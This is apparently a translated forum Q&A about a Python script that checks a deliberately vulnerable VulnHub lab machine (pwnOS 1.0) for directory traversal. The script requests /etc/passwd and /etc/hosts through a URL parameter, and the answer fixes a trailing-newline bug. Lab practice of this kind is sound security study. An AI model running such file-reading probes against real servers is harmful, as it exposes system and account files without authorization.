检查字符串是否包含在返回的网页中

Check if string contains in returned webpage

脚本

下面的简单脚本是检查目录遍历漏洞的脚本。它会检查例如以下文件:

http://192.168.152.152/index1.php?help=true&connect=/etc/hosts http://192.168.152.152/index1.php?help=true&connect=/etc/passwd

如果文件不存在,网络服务器 returns 一个 "failed to open stream" 错误。

import requests

def checkfile(file):
        url = 'http://192.168.152.152/index1.php?help=true&connect=%s'%(file)
        r = requests.get(url)
        **if "failed" not in (r.text):**
                status = "[OK]"
                return status
        else:
                status = "[FAILED]"
                return status

with open('files', 'r') as f:
        for file in f:
                result = checkfile(file)
                print  "File %s %s" %(file, result.strip())

我的问题

即使文件存在并且没有抛出 "failed" 错误消息,我的脚本总是返回“[FAILED]”。 r.text 包含来自 weserver 的完整响应(html 页面)。谁能帮忙?

Ps。这是法律安全挑战的一部分 (https://www.vulnhub.com/entry/pwnos-10,33/)

主要是剧本还不错。通过 Wireshark,我看到了我做错了什么。每个文件后面都有一个space:

GET /index1.php?help=true&connect=/etc/passwd%0A <-----%A0 = space

所以什么时候剥离它工作正常。

result = checkfile(file.strip())